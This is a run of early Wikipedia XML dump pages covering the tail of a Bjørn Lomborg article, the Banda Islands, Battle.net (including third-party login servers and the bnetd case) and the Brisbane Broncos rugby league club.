* ''[[The Economist]]'' defended Lomborg, claiming that the panel of experts that had criticised Lomborg in ''Scientific American'' was both biased and not actually countering Lomborg's book. ''The Economist'' argued that the panel's opinion had come under no scrutiny at all, and that Lomborg's responses had not been reported.&lt;ref&gt;Lomborg, Bjorn. [http://www.economist.com/printedition/displayStory.cfm?Story_ID=1522706 &quot;Thought control&quot;]. ''The Economist'', 9-Jan-2003.  Retrieved 26-Feb-2006.&lt;/ref&gt;

*Entertainment media took notice. The US [[Showtime]] program ''[[Bullshit!]]'' featured an episode entitled &quot;Environmental Hysteria&quot; in which Lomborg criticised environmentalists' refusal to accept a [[cost-benefit analysis]] of environmental questions, and stressed the need to prioritise some issues above others.&lt;ref&gt;[http://www.sho.com/site/ptbs/topics.do?topic=eh ''Bullshit'', &quot;Environmental Hysteria&quot;]. Showtime.&lt;/ref&gt; ''[[Rolling Stone]]'' noted, &quot;Lomborg pulls off the remarkable feat of welding the techno-optimism of the Internet age with a lefty's concern for the fate of the planet.&quot;&lt;ref&gt;[http://www.lomborg.com/files/lombquo.doc &quot;Early Praise for The Skeptical Environmentalist: Measuring the Real State of the World&quot;]. Cambridge University Press. Retrieved 26-Feb-2006.&lt;/ref&gt;

*On the Web, the [[Union of Concerned Scientists]] strongly criticised ''The Skeptical Environmentalist'', claiming it to be &quot;seriously flawed and fail[ing] to meet basic standards of credible scientific analysis&quot;, accusing Lomborg of presenting data in a fraudulent way, using flawed logic and selectively citing non-peer-reviewed literature.&lt;ref&gt;[http://www.ucsusa.org/global_environment/archive/page.cfm?pageID=533 &quot;UCS examines The Skeptical Environmentalist by Bjørn Lomborg&quot;]. Retrieved 26-Feb-2006.&lt;/ref&gt; Lomborg countered that some of the scientists involved in this report were also named and criticised in ''The Skeptical Environmentalist'', and thus had a [[vested interest]] in discrediting it and its author.

Lomborg's pivotal involvement in the Copenhagen Consensus and the book that followed served to keep him in the media eye through 2004-2005.

== References ==
&lt;div style=&quot;font-size:90%;&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;
* Bjørn Lomborg: ''The Skeptical Environmentalist: Measuring the Real State of the World''. Cambridge University Press 2001 (ISBN 0521010683).
* Nichola Wade: &quot;From an Unlikely Quarter, Eco-Optimism&quot;. ''The New York Times'', [[7 August]] [[2001]].
* Stephen Schneider, John P. Holdren, John Bongaarts, Thomas Lovejoy: &quot;Misleading Math about the Earth&quot;. ''Scientific American,'' January 2002.

== See also ==
*[[The Skeptical Environmentalist]]
*[[Environmentalism]]
*[[Environmental skepticism]]
*[[Global warming]]
*[[Bias (statistics)]]

== External links ==
* [http://www.lomborg.com/ Lomborg's personal website], with own articles, links to related broadcasts on radio and TV, and Lomborg's opinion on the issues with the Danish Committees on Scientific Dishonesty.
* [http://www.lomborg-errors.dk/ Kåre Fog's &quot;Lomborg errors&quot; website] contains a catalogue of claims of errors in Lomborg's The Skeptical Environmentalist, Fog's opinion on Lomborg and his career.
* [http://www.wired.com/news/wiredmag/1,2167,63595,00.html Wired magazine interviews Lomborg, June 2004], regarding the [[Copenhagen Consensus]].
* [http://www.britannica.com/eb/article-9396230?tocId=9396230 Article on Bjørn Lomborg] in the online edition of the [[Encyclopædia Britannica]]. The article was written by [[Michael Allaby]], author of [http://www.michaelallaby.com/pages/books/books_full_list.htm many (although not peer-reviewed) books] on climate, who had previously expressed ideas similar to Lomborg. If you cannot access the full text, click the first link in [http://www.google.com/search?q=britannica+online+lomborg&amp;start=0&amp;start=0 this Google search].
* [http://www.grist.org/advice/books/2001/12/12/of/ Grist magazine article] Rebuttals from scientists working in the various fields his book makes claims about.
* [http://www.stichting-han.nl/lomborg.htm HAN investigation of complaints made by Lomborg critics], by a number of Dutch scientists of the complaints made by Lomborg critics.
* [http://www.disinfopedia.org/wiki.phtml?title=Bjorn_Lomborg Article about Bjørn Lomborg] on [[Sourcewatch]], a project similar to [[Wikipedia]].
* [http://info-pollution.com/lomborg.htm Correcting myths from Bjørn Lomborg], extensive collection of criticisms of Lomborg, with replies.
* [http://www.csicop.org/si/2002-11/environment.html Skeptical About ''The Skeptical Environmentalist''], Richard M. Fisher's review of ''The Skeptical Environmentalist'', in &quot;[[The Skeptical Inquirer]]&quot;.
* [http://www.lomborg.com/files/RidleySciAmerLomborg.pdf Letter in Support of Lomborg in ''Scientific American''], a defense of Lomborg's work, from the eminent geneticist [[Matt Ridley]], former editor of ''[[The Economist]]''.

[[Category:1965 births|Lomborg, Bjørn]]
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[[Category:Danish political scientists|Lomborg, Bjørn]]
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      <text xml:space="preserve">#REDIRECT [[Anal sex]]</text>
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    <title>Banda Islands</title>
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      <text xml:space="preserve">[[Image:BandaBesarIslandSeenFromFortBelgica.JPG|thumb|right|280px|Banda Besar island seen from [[Fort Belgica]].]]
The '''Banda Islands''' ('''Kepulauan Banda''' in [[Bahasa Indonesia]]) are a group of ten small volcanic [[island]]s in the [[Banda Sea]], about 140km south of [[Seram]] island and about 2000km east of [[Java (island)|Java]], and are part of the [[Indonesia|Indonesian]] province of [[Maluku (Indonesian province)|Maluku]]. The capital city is [[Bandanaira]], located on the island of the same name. They rise out of 4-6 km deep ocean and have a total land area of approximately 180 km&amp;sup2;. They have a population of about 15,000.  Until the mid 19th century the Banda Islands were the only source of the spices [[nutmeg]] and [[mace (spice)|mace]], produced from the nutmeg tree. The islands are also popular destinations for [[scuba diving]] and [[snorkeling]].

== History ==
The Portuguese navigator [[António de Abreu]] was the first [[Europe]]an to encounter the islands, in [[1512]]. Controlling production of [[nutmeg]] and [[Mace (spice)|mace]] was a major motivation for the Dutch conquest of the islands in the 1621, led by [[Jan Pieterszoon Coen]]. At the time nutmeg was one of the &quot;fine spices&quot; kept expensive in Europe by disciplined manipulation of the market, but a desirable commodity for Dutch traders in the ports of India as well; economic historian [[Fernand Braudel]] notes that India consumed twice as much as Europe (Braudel 1984, p. 219). The lucrative monopoly over supply was ruthlessly enforced,: the Dutch decimated and displaced the indigenous Bandanese and the islands were subsequently settled by imported slaves, convicts and indentured labourers (to work the nutmeg plantations), as well as in-migrants from elsewhere in Indonesia.  

The population of the Banda Islands prior to Dutch conquest is generally estimated to have been around 13-15,000 people, some of whom were Malay and Javanese traders, as well as Chinese and Arabs. The actual numbers of Bandanese who were killed, forcibly expelled or fled the islands in 1621 remain uncertain. But readings of historical sources suggest around one thousand Bandanese likely survived in the islands, and were spread throughout the nutmeg groves as forced labourers (Hanna 1978, p.54; Loth 1995, p.18). Shipments of surviving Bandanese were also sent to Batavia ([[Jakarta]]) to work as slaves in developing the city and its fortress. Some 530 of these individuals were later returned to the islands because of their much-needed expertise in nutmeg cultivation (something sorely lacking among newly-arrived Dutch settlers) (Hanna 1978, p.55; Loth 1995, p.24).

[[Fort Belgica]], one of many forts built by the [[Dutch East India Company]], is one of the largest remaining European forts in Indonesia. 

[[Religion|Religious]] violence, spilling over from intercommunal conflict in Ambon, affected the islands slightly in the late [[1990s]], damaging the previously prosperous [[tourism]] industry.

== Geography ==
There are seven inhabited islands and several that are uninhabited.  The inhabited islands are:
[[Image:BandaVolcano.JPG|thumb|right|280px|The active volcano Gunung Api in the Banda Islands]]
Main group:
*Banda Neira, or Naira, the island with the administrative capital and a small airfield (as well as accommodation for visitors).
*Gunung Api, an active volcano with a peak of about 650m
*Banda Besar is the largest island, 12km long and 3km wide. It has three main settlements, Lonthoir, Selamon and Waer.

Some distance to the west:
*Pulau Ai or Pulau Ay
*Pulau [[Run (island)|Run]], further west again.

To the east:
*Pulau Pisang, also known as Syahrir.

To the southeast:
*Pulau Hatta formerly Rosengain or Rozengain

Others, possibly small and/or uninhabited, are:
*Nailaka, a short distance northeast of Pulau [[Run (island)|Run]]
*Batu Kapal
*Manuk, an active volcano
*Pulau Keraka or Pulau Karaka (Crab Island)
*Manukang
*Hatta Reef

==Bandanese culture==
Most of the present-day inhabitants of the Banda Islands are descended from migrants and plantation labourers from various parts of Indonesia, as well as from indigenous Bandanese. They have inherited aspects of pre-colonial ritual practices in the Bandas that are highly valued and still performed, giving them a distinct and very local cultural identity.

In addition, Bandanese speak a distinct [[Malay Dialect]] which has several features distinguishing it from [[Ambonese Malay]], the better-known and more widespread dialect that forms a lingua franca in central and southeast Maluku. Bandanese Malay is famous in the region for its unique, lilting accent, but it also has a number of locally identifying words in its lexicon, many of them borrowings or [[loanwords]] from [[Dutch language|Dutch]].
[[Image:BandaVolcanoSeenFromFortBelgica.JPG|thumb|right|260px|Gunung Api as seen from Fort Belgica on Banda Neira.&lt;br&gt;Note people at left.]]
Examples :
* fork	: forok (Dutch vork)
* ants	: mir (Dutch mier)
* spoon	: lepe (Dutch lepel)
* difficult : lastek (Dutch lastig)
* floor : plur (Dutch vloer)
* porch: stup (Dutch stoep)

Banda Malay shares many [[Portuguese language|Portuguese]] loanwords with Ambonese Malay not appearing in Indonesia's national language [[Bahasa Indonesia]]. But it has comparatively fewer, and they differ in pronunciation.

Examples :
* turtle : tetaruga (Banda Malay); totoruga (Ambonese Malay) (from Portuguese tartaruga)
* throat : gargontong (Banda Malay); gargangtang (Ambonese Malay) (from Portuguese garganta)

Finally, and most noticeably, Banda Malay uses some distinct pronouns. The most immediately distinguishing is that of the second person singular familiar form of address: pané.

The descendants of some of the Bandanese who fled Dutch conquest in the seventeenth century live in the [[Kai Islands]] (Kepulauan Kei) to the east of the Banda group, where a version of the original [[Banda language]] is still spoken in the villages of Banda Eli and Banda Elat on Kai Besar Island. While long integrated into Kei Island society, residents of these settlements continue to value the historical origins of their ancestors.

==See also==
*[[Maluku Islands]]

==External links==
*[http://www.worldwildlife.org/wildworld/profiles/terrestrial/aa/aa0102_full.html Banda Sea Islands moist deciduous forests]
*[http://home.planet.nl/~vdbroeke/bandalez.htm Rick van den Broek's site]

==References==
*Braudel, Fernand. 1984. The Perspective of the World. In: ''Civilization and Capitalism'', vol. III.
*Hanna, Willard A. 1978. ''Indonesia Banda:Colonialism and its Aftermath in the Nutmeg Islands.'' Philadelphia: Institute for the Study of Human Affairs.
*Lape, Peter. 2000. Political dynamics and religious change in the late pre-colonial Banda Islands, Eastern Indonesia. ''World Archaeology'' 32(1):138-155.
*Loth, Vincent C. 1995. Pioneers and perkerniers:the Banda Islands in the seventeenth century. ''Cakalele'' 6: 13-35.
*The author [[Giles Milton]]'s book ''[[Nathaniel's Nutmeg]]: How One Man's Courage Changed the Course of History'' (Sceptre books, Hodder and Stoughton, London) gives a vivid account of the struggle for possession of the Banda Islands.
*Villiers, John. 1981. Trade and society in the Banda Islands in the sixteenth century. ''Modern Asian Studies'' 15(4):723-750.
*Winn, Phillip. 1998. Banda is the Blessed Land: sacred practice and identity in the Banda Islands, Maluku. ''Antropologi Indonesia'' 57:71-80.
*Winn, Phillip. 2001. Graves, groves and gardens: place and identity in central Maluku, Indonesia. ''The Asia Pacific Journal of Anthropology'' 2 (1):24-44.
*Winn, Phillip. 2002. Everyone searches, everyone finds: moral discourse and resource use in an Indonesian Muslim community. ''Oceania'' 72(4):275-292.

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    <title>Battle.net</title>
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      <comment>/* Diablo II */</comment>
      <text xml:space="preserve">[[Image:battlenet_logo.png|right|thumb|Battle.net logo]]
'''Battle.net''' is an online gaming service provided by [[Blizzard Entertainment]]. It was launched in January of 1997 with the release of Blizzard's action-[[Computer role-playing game|RPG]] ''[[Diablo (computer game)|Diablo]]''.  Battle.net was the first online gaming service incorporated directly into the games that make use of it, in contrast to the external interfaces used by the other online services at the time.  This feature, along with ease of account creations and the absence of member fees, caused Battle.net to become popular among gamers and became a major selling point for ''Diablo'' and subsequent Blizzard games.

Since the successful launch of Battle.net many companies have published online game services mimicking Blizzard's service package and the [[user interface]].  
==History==
[[Image:battlenet_diablo.jpg|thumb|left|Battle.net interface for [[Diablo]].]]
===Diablo===
When the service initially launched with ''Diablo'', Battle.net offered only a few basic services like chatting and game listings.  Players could connect to the service, talk with other gamers and join multiplayer games of ''Diablo''.  Besides user account data, no game data was stored on the Battle.net servers.  When a player connected to a game, they would be connecting directly to the other players in the game.  No data was sent through the Battle.net servers.  While this made the service quick and easy to use, it quickly led to rampant [[Cheating in online games|cheating]] since players using cheats could modify their game data locally.  However, since there was an option to create private games, many players ended up playing with people who they knew to avoid cheaters.

[[Image:battlenet_starcraft.jpg|thumb|right|Battle.net interface for [[StarCraft]].]]
===StarCraft===
With the release of their next game ''[[StarCraft]]'' in [[1998]], usage of the Battle.net service increased significantly. With this game, features such as ladder ranking and game filters were added to the service. Battle.net grew even larger after the release of the expansion pack ''[[StarCraft: Brood War]]''. Concurrent player counts and games played reached the tens of thousands. This was especially evident in [[South Korea]] where ''StarCraft'' become a runaway hit and concurrent player counts on Battle.net would often be many times what they were in the [[United States]]. ''StarCraft'' also brought with it a new [[copyright]] protection scheme using [[CD key]]s. Under ''Diablo'', Battle.net would allow anyone who had a copy of the game to connect to the service. This allowed people who [[Copyright infringement|pirated]] the game to play on Battle.net. With ''StarCraft'', only those players who had a valid CD key were allowed onto the service. In addition, only one person could be connected to Battle.net using a specific CD key at a time. Every Blizzard game since ''StarCraft'' has required a unique, valid cd key to connect to Battle.net.

[[Image:battlenet_war2bne.jpg|thumb|left|Battle.net interface for [[Warcraft II: Battle.net Edition]].]]

===Warcraft II: Battle.net Edition===
The next year, seeing the popularity of ''StarCraft'' on Battle.net, Blizzard decided to re-release their previous [[Real-time strategy|RTS]] game ''[[Warcraft II: Tides of Darkness]]'' packaged with its expansion pack ''[[Warcraft II: Beyond the Dark Portal]]'' in a version that could be played over Battle.net. This version was titled ''[[Warcraft II: Battle.net Edition]]''. Previously, ''Warcraft II'' could only be played over the Internet using the IPX network emulator [[Kali (game browser)|Kali]] or the now defunct online service Engage. The new version also included support for ladders and a host of other non-Battle.net related features.

[[Image:battlenet_diablo2.jpg|thumb|right|Battle.net interface for [[Diablo II]].]]

===Diablo II===
{{main|Diablo II on Battle.net}}
The new millennium brought a new game and a new era for Battle.net.  ''[[Diablo II]]'' was released in 2000 to much fan-fare.  The main highlight of ''Diablo II'' as it relates to Battle.net was that the game was completely [[client-server]] based.  The game was no longer simulated on each player's computer, but instead was run on Blizzard's server.  This also meant that all of the character data for the game was stored on the Battle.net servers.  This effectively put an end to cheating as it had been known during the period of the original ''Diablo''.  The game also had an open character feature on Battle.net which stored the player's character on the client.  This allowed players to play characters locally or on a [[Local area network|LAN]], and then use those same characters on Battle.net.  However, any open games played on Battle.net were not protected from cheating by other players since they could have modified their characters locally.  ''Diablo II'' also had a unique feature that would show the players in the Battle.net chatroom as [[Avatar (virtual reality)|avatar]]s who looked like their characters did in the game.  It also used a different Battle.net interface than previous games, where previously there were mainly only color differences.  There was also expanded ladder support including a &quot;Hardcore&quot; ladder which listed players whose characters would be removed permanently if they died in-game.  Again, with ''Diablo II'' usage of Battle.net increased steadily, climbing even higher with the release of the expansion pack ''[[Diablo II: Lord of Destruction]]'' in 2001.

[[Image:battlenet_warcraft3.jpg|thumb|left|Battle.net interface for [[Warcraft III: The Frozen Throne]].]]

===Warcraft III===
''[[Warcraft III: Reign of Chaos]]'' was released in 2002 and combined with its expansion pack ''[[Warcraft III: The Frozen Throne]]'' which was released in 2003 are the most recent games Blizzard released which support Battle.net.  The release of these two games brought with them a number of new features to the online service.  The most significant feature to be added was probably the concept of Anonymous Matchmaking.  This feature allowed a user who wanted to play a game to simply press a button and automatically be matched up with one or more other players who were similar in skill (based on ranking) and also wanted to play a game.  This allowed for people to get into games quickly and easily. It also reduced win-trading, where two people would purposely win and lose games to artificially raise their rank on the ladder.  The matchmaking concept was also expanded to team games in a feature called &quot;Arranged Teams&quot;.  In an arranged team game, you could get together with a friend of yours to make a team, which was then anonymously matched up with another team of the same size and rank.  Automated tournaments were added in the expansion, where players would compete to be crowned tournament champion in a series of games played throughout the day.  In addition to the new game styles, a slew of other features were added including selectable chatroom icons, a friends list, and clan support.

===World of Warcraft===
''[[World of Warcraft]]'', Blizzard's [[MMORPG]] released in 2004 uses a completely different server and network structure, and thus does not run on the Battle.net online gaming service.

==Usage==
According to Blizzard's claims, Battle.net is the largest online gaming network in the world.  It currently has nearly 12 million active users, who spend more than 2.1 million combined hours online per day.  At any one given time, Battle.net averages about 200,000 concurrent users with a peak volume of 400,000 concurrent users. About 50,000 games are being played on typical weekday evenings, more than half of which are StarCraft.

==bnetd==
:''Main article: [[bnetd]]''
A group of gamer/programmers produced a freely available clone of Battle.net called [[bnetd]]. Blizzard games normally only work over the Internet with Battle.net, but bnetd allowed gamers to run their own private server.

In February 2002, lawyers retained by Blizzard threatened legal action under provisions of the [[DMCA|Digital Millennium Copyright Act]] against the bnetd developers, and the project was officially halted.  As this case was one of the first major test cases for the DMCA, the [[Electronic Frontier Foundation]] became involved, and for a while negotiations were ongoing to resolve the case without a trial. The negotiations failed however, and Blizzard won the case on all counts: the defendants were ruled to have breached both Blizzard's [[End User License Agreement]] (EULA) and the [[Terms of Use]] of Battle.net. [http://blizzard.com/press/041008.shtml]

Development of similar software, however, did not end. Upon the base of [[bnetd]], another program called [[PvPGN]] (standing for Player-versus-Player Gaming Network) has risen and represents continued development of [[bnetd]].

==Community==
A community of [[software developers|developers]] has arisen around Battle.net. Many unofficial [[Client (computing)|clients]] are available for Battle.net, and most of the [[Protocol (computing)|protocol]] used by Battle.net-enabled games has been reverse-engineered and [http://bnetdocs.valhallalegends.com published] by volunteers.

===BNLS===
'''BNLS''', or the '''Battle.Net Login Server''', is a [[third party]] server used to emulate the hashing and encryption methods required to login to [[Blizzard Entertainment]]'s Battle.net servers. It was co-authored by [[Valhalla Legends]] (vL), a clan known for its programming members, members ''Skywing'' and ''Yoni'' as a reliable tool to make bot development easier. BNLS is [[closed source]] and is only hosted by vL.

==== Advantages and Disadvantages ====
Developers often choose BNLS over &quot;local hashing&quot; because no updates are required on the user's end when a Battle.net game is patched, and it requires none of the binary files necessary for local hashing. Some disadvantages cited by critics include slow reactions to patches, a longer time to connect compared to local hashing, and occasional server downtime. Also, some [[Computer game bot|bot]] users are uncomfortable sending their [[CD key]]s and passwords to the server in plain text, which is part of the purpose behind the service anyway (BNLS automates calculations required by the client on plaintext data that are difficult in certain situations, including instances where the developer is using [[Visual Basic]] because of its lack of support for [[unsigned]] data). Because of the mix of advantages and disadvantages, many developers have included both methods of connecting.

==== Imitators ====
Some BNLS imitators have been made, with varying degrees of success. Most fall short of the popularity of BNLS because it works as it should, comes from one of the most reputable Battle.net development sources in existence, and is the original.

On October 19, 2004, ''The-FooL'' released JBLS (Java Battle.net Login Server), an [[open source]] and somewhat incomplete emulator of BNLS.  Immediately, numerous JBLS servers were started. Members of the community that started their own servers and were known to be trustworthy saw some traffic, and indeed, some still receive notable amounts of requests as of November 2005. Although less reliable and often slower, most of the JBLS servers claimed faster response times to patches to Blizzard games. As BNLS downtime became more frequent, some users made permanent switches to JBLS servers.  JBLS was also upgraded in somewhat short order to fully support the BNLS protocol, as at its first release, it did not support the [[Secure remote password protocol|SRP]] protocol used by Blizzard's new [[Warcraft III]] clients.

==== Other Similar Products ====
Related to his Java-based program [[JavaOp]], another member of Valhalla Legends, ''iago'', created a system by which only the Battle.net revision check would be completed.  He dubbed this [[RCRS]] (Remote CheckRevision Server), which used a plaintext protocol to retrieve only current version information based on Battle.net's logon challenge.  This had several advantages, mostly being that a [[text protocol]] is easier to code for and did not include plaintext passwords or CD keys, but also did not provide for the hashing of CD keys or passwords, leaving users to rely on their own code or to use BNLS for this anyway.

Later, another Battle.netizen who contributed to the Valhalla Legends community, ''shadypalm88'', released [[BNCSUtil]], which was an [[open-source]] [[GPL]] [[C++]] library that performed all of the local hashing and revision checking.  Local revision checks, however, still required local game files to function.  Still, this paved the way for already-BNLS-enabled clients to use BNCSUtil for sensitive functions such as CD key decoding and password hashing and using BNLS or RCRS for the revision check.  Shortly after, ''MyndFyre'' released [[MBNCSUtil]], a [[Microsoft.NET|.NET]] version of BNCSUtil, written in [[C sharp|C#]], under the GPL.

==== External links ====
* [http://www.valhallalegends.com/yoni/BNLSProtocolSpec.txt The BNLS Protocol Specification]
* [http://www.quikness.com/forums/index.php?showforum=19 The JBLS Home Page]
* [http://www.javaop.com/ JavaOp] - includes information about RCRS
* [http://bncsutil.ionws.com BNCSUtil]
* [http://www.jinxbot.net/mbncsutil/ MBNCSUtil]

==List of Battle.net Games==
* ''[[Diablo (computer game)|Diablo]]''
* ''[[Diablo II]]''
* ''[[Diablo II: Lord of Destruction]]''
* ''[[Warcraft II|Warcraft II: Battle.net Edition]]''
* ''[[Warcraft III|Warcraft III: Reign of Chaos]]''
* ''[[Warcraft III: The Frozen Throne]]''
* ''[[StarCraft]]''
* ''[[StarCraft: Brood War]]''

==External links==
* [http://www.battle.net/ Battle.net website]
* [http://www.blizzard.com/ Blizzard Entertainment website]

{{Blizzard Entertainment}}

[[Category:Blizzard Entertainment]]

[[de:Battle.net]]
[[es:Battle.net]]
[[fi:Battle.net]]
[[fr:Battle.net]]
[[lt:Battle.net]]
[[pl:Battle.net]]
[[sv:Battle.net]]</text>
    </revision>
  </page>
  <page>
    <title>Brisbane Broncos</title>
    <id>5025</id>
    <revision>
      <id>41265071</id>
      <timestamp>2006-02-26T04:05:54Z</timestamp>
      <contributor>
        <ip>203.219.24.16</ip>
      </contributor>
      <text xml:space="preserve">{{Template:Infobox_nrl_club | clubname = Brisbane Broncos
| image = [[Image:brisbane 2000.jpg|center|200px]]
| fullname = Brisbane Broncos Rugby League Football Club Limited
| emblem = Bronco
| colours = Maroon, gold, white and blue
| founded = [[1988]]
| sport = [[Rugby league]]
| league = [[National Rugby League]]
| ground = [[Suncorp Stadium]]
| capacity = 52,500
| ceo= Bruno Cullen
| captain = [[Darren Lockyer]]
| coach = [[Wayne Bennett (rugby league coach)|Wayne Bennett]]
| season = 2004
| position = 5th of 15
| premierships = 5 - [[1992]], [[1993]] ([[New South Wales Rugby League|NSWRL]]), [[1997]] ([[Super League (Australia)|Super League]]), [[1998]], [[2000]] ([[National Rugby League|NRL]])
| runners = Nil
| minors = 4 - [[1992]], [[1997]] ([[Super League (Australia)|Super League]]), [[1998]], [[2000]]
| spoons = Nil
| win = 60 - 6 vs. [[North Sydney Bears|Norths]],[[April 26]] [[1998]] 
| loss = 4 - 50 vs. [[Melbourne Storm|Melbourne]], [[April 2]] [[2005]]
}}'''Brisbane Broncos''', founded [[1988]], is a [[rugby league]] team based in [[Brisbane, Queensland]]. A poll taken in [[Australia]] in 2002 showed the Brisbane Broncos to be the most supported football club of any code in the country with more than 1.1 million supporters. The Broncos are the only publically listed sporting club on the [[Australian Stock Exchange]] trading under the [[Australian Stock Exchange|ASX Code]] BBL. 

== History ==
In the mid-[[1980s]] the New South Wales Rugby League decided to expand the Sydney competition to include teams from Brisbane, the Gold Coast and Newcastle, and team set up by Barry Maranta and Paul &quot;Porky&quot; Morgan was started playing in 1988. After deliberating over such nicknames as Bulls, Bombers and Kookaburras, the team decided on the name &quot;Broncos&quot;. The mascot of the Broncos is Buck the horse. On [[March 6]] [[1988]] Brisbane defeated the [[1987]] premiers [[Manly-Warringah Sea Eagles|Manly]] 44-10 in their first premiership game. 

[[Wayne Bennett (rugby league coach)|Wayne Bennett]] was the coach for this first season, and remains in that role today. Although the Broncos started well, winning the first six games in their inaugural season, they failed to make the finals. In [[1989]] the Broncos won the midweek Panasonic Cup competition, but once more failed to make the semi-finals in the season proper. Searching for solutions Wayne Bennett controversially sacked [[Wally Lewis]] as club captain. 

Brisbane won their first premiership in [[1992]] when they defeated the [[St. George Dragons]] 28-8. A month later they won the World Club Challenge, defeating Wigan 22-8.

[[Image:last broncos game at anz.jpg|thumb|The Brisbane Broncos played their final match at ANZ Stadium against the Melbourne Storm on 18 May 2003.]]
In [[1993]] the Broncos relocated from Lang Park to ANZ Stadium, after years of dispute with the Lang Park Trust about brewery advertising. That year they beat St George 14-6 again in the grand final. This victory gave them the right to contest the World Club Challenge once more. They were defeated by Wigan 20-14 in Brisbane in [[1994]].

From 1995 Brisbane was embroiled in the [[Super League (Australia)|Super League]] War, and failed to make the grand final again until 1997, when they defeated Cronulla in the Super League Grand Final 26-8. When Super League merged with the ARL to form the [[National Rugby League]], the Broncos were again in the Grand Final, and they defeated the Canterbury Bulldogs 38-12 to take the inaugural NRL trophy.

In [[2000]] the Broncos once more won the NRL premiership, defeating the Sydney Roosters 14-6. After disappointing crowds at ANZ Stadium during the early 2000s, with crowds averaging around the 20,000 mark, the Broncos decided on a move back to Rugby League's spiritual home at Suncorp Stadium (Lang Park) when the Queensland Government announced a $380m redevelopment of the ground. Since then the Broncos' crowds have increased to levels not seen since 1995 before the advent of Super League. The Broncos crowd increased from the 28,000 mark in 2004 to over 30,000 in [[2005]]. With a draw that has Brisbane playing a number of well-supported teams (Cowboys, Bulldogs &amp; Dragons) at home in 2006, the average crowd for the season could easily pass 31,000.

== Captains ==

{| class=&quot;wikitable&quot; 
|- bgcolor=#bdb76b
! Years !! Captain 
|-
| [[1988]]-[[1989]] || [[Wally Lewis]]
|-
| [[1990]]-[[1991]] || [[Gene Miles]]
|-
| [[1992]]-[[1999]] || [[Allan Langer]]
|-
| [[1999]]-[[2000]] || [[Kevin Walters]]
|-
| [[2001]]-[[2004]] || [[Gorden Tallis]]
|-
| [[2005]]-[[Present (time)|present]] || [[Darren Lockyer]]
|}

== Notable players ==

*[[Sam &quot;the Man&quot; Backo]]
*[[Andrew Gee]]
*[[Trevor Gilmeister]]
*[[Michael Hancock]]
*[[Allan Langer]]
*[[Glenn Lazarus]]
*[[Wally Lewis]]
*[[Darren Lockyer]]
*[[Gene Miles]]
*[[Scott Minto]]
*[[Steve Renouf]]
*[[Wendell Sailor]]
*[[Gorden Tallis]]
*[[Lote Tuqiri]]
*[[Kevin Walters]]
*[[Shane Webcke]]

== Premierships ==
[[Image:brisbane 1988.jpg|thumb|The Brisbane Broncos' logo from [[1988]] to [[1999]].]]

{| class=&quot;wikitable&quot; 
|- bgcolor=#bdb76b
! Year !! Premiership !! Result
|-
| [[1989]] || Panasonic Cup Midweek Competition || def. Illawarra Steelers
|-
| [[1992]] || [[New South Wales Rugby League premiership]] || def. [[St. George Dragons]] 28-8
|-
| [[1992]] || [[World Club Challenge]] || def. [[Wigan Warriors]] 22-8
|-
| [[1993]] || [[New South Wales Rugby League premiership]] || def. [[St. George Dragons]] 14-6
|-
| [[1997]] || [[Super League (Australia)|Super League]] || def. [[Cronulla Sharks]] 26-8
|-
| [[1997]] || [[World Club Challenge]] || def. [[Hunter Mariners]] 36-12
|-
| [[1998]] || [[National Rugby League]] || def. [[Canterbury Bulldogs]] 38-12
|-
| [[2000]] || [[National Rugby League]] || def. [[Sydney Roosters]] 14-6
|}

==Sponsors==

===Jersey Manufacturers===

* Peerless (1988-91)
* M Sport (1992-1996)
* [[Nike, Inc|Nike]] (1997-now)

===Major Sponsors===

* Powers Brewing (1988-1993)
* Traveland (1994-1996)
* [[Ansett|Ansett Australia]] (1997-1998)
* 131 Shop (1999-2000)
* Ergon Energy (2000-now)

===Sleeve Sponsors===

* TR Auscel (1990-1991)
* TDK (1992-1994)
* MMI (1995)
* [[Ansett|Ansett Australia]] (1996-2001)
* Keno (2002-2003)
* Mortgage House (2004)
* Q.L.D. Group (2005-now)

===Shorts Sponsors===

* Powers Brewing (1992-93)
* Ansett Australia (1997-1998)
* Keno (1999-2001)
* [[NRMA|NRMA Insurance]] (2003-now)

==Record Crowds==

===Suncorp Stadium (Lang Park)===

* 49,571 (v Canterbury Bulldogs, Round 23, 2004)
* 48,995 (v St George Illawarra Dragons, Round 23, 2005)
* 46,337 (v Newcastle Knights, Round 12, 2003)
* 43,438 (v North Queensland Cowboys, Round 1, 2005)
* 37,745 (v Penrith Panthers, Round 7, 2004)
* 35,597 (v St George Illawarra Dragons, Round 26, 2003)
* 35,592 (v Sydney Roosters, Round 25, 2005)

===ANZ Stadium===

* 58,912 (v Cronulla Sharks, Super League Grand Final 1997)
* 58,593 (v St George Illawarra Dragons, 27/8/93)
* 51,517 (v Parramatta Eels, 28/3/93)

==Club Records==

===Coaches===

* Wayne Bennett (1988-now)

===Most First Grade Games for the Broncos===

* 274- Michael Hancock (1988-2000)
* 258- Allan Langer (1988-1999, 2002)
* 255- Andrew Gee (1989-1999, 2002-2003)
* 241- Kevin Walters (1990-2001)

===Most Tries in a Match===

* 4- Steve Renouf (v North Sydney Bears, Lang Park. Round 20, 1991) (Brisbane won 44-6)
* 4- Steve Renouf (v Bulldogs, ANZ Stadium. Round 17, 1993) (Brisbane won 38-18)
* 4- Steve Renouf (v Balmain Tigers, Optus Oval. Round 7, 1994) (Brisbane won 36-14)
* 4- Steve Renouf (v Auckland Warriors, ANZ Stadium. Round 22, 1995) (Brisbane won 44-6)
* 4- Steve Renouf (v Penrith Panthers, ANZ Stadium. Round 3, 1998) (Brisbane won 26-18)
* 4- Wendell Sailor (v St George Illawarra Dragons, Aussie Stadium. Round 28, 2001) (Brisbane won 44-28)
* 4- Karmichael Hunt (v South Sydney Rabbitohs, Suncorp Stadium. Round 17, 2004) (Brisbane won 48-28)

===Most Tries in a Season===

* 23- Steve Renouf (in 21 games, 1994)
* 23- Darren Smith (in 27 games, 1998)
* 21- Lote Tuqiri (in 29 games, 2001)

===Most Tries for the Broncos===

* 142- Steve Renouf (in 183 games)
* 120- Michael Hancock (in 274 games)
* 110- Wendell Sailor (in 189 games)
* 100- Allan Langer (in 258 games)

===Most Goals in a Match===

* 9- Michael De Vere (v North Queensland Cowboys, ANZ Stadium. Round 14, 2001) (Brisbane won 50-6)
* 9- Darren Lockyer (v North Queensland Cowboys, ANZ Stadium. Round 5, 1998) (Brisbane won 58-4)

===Most Points in a Season===

* 272- Darren Lockyer (in 26 games, 1998. 19 tries, 98 goals)
* 206- Michael De Vere (in 25 games, 2001. 2 tries, 99 goals)
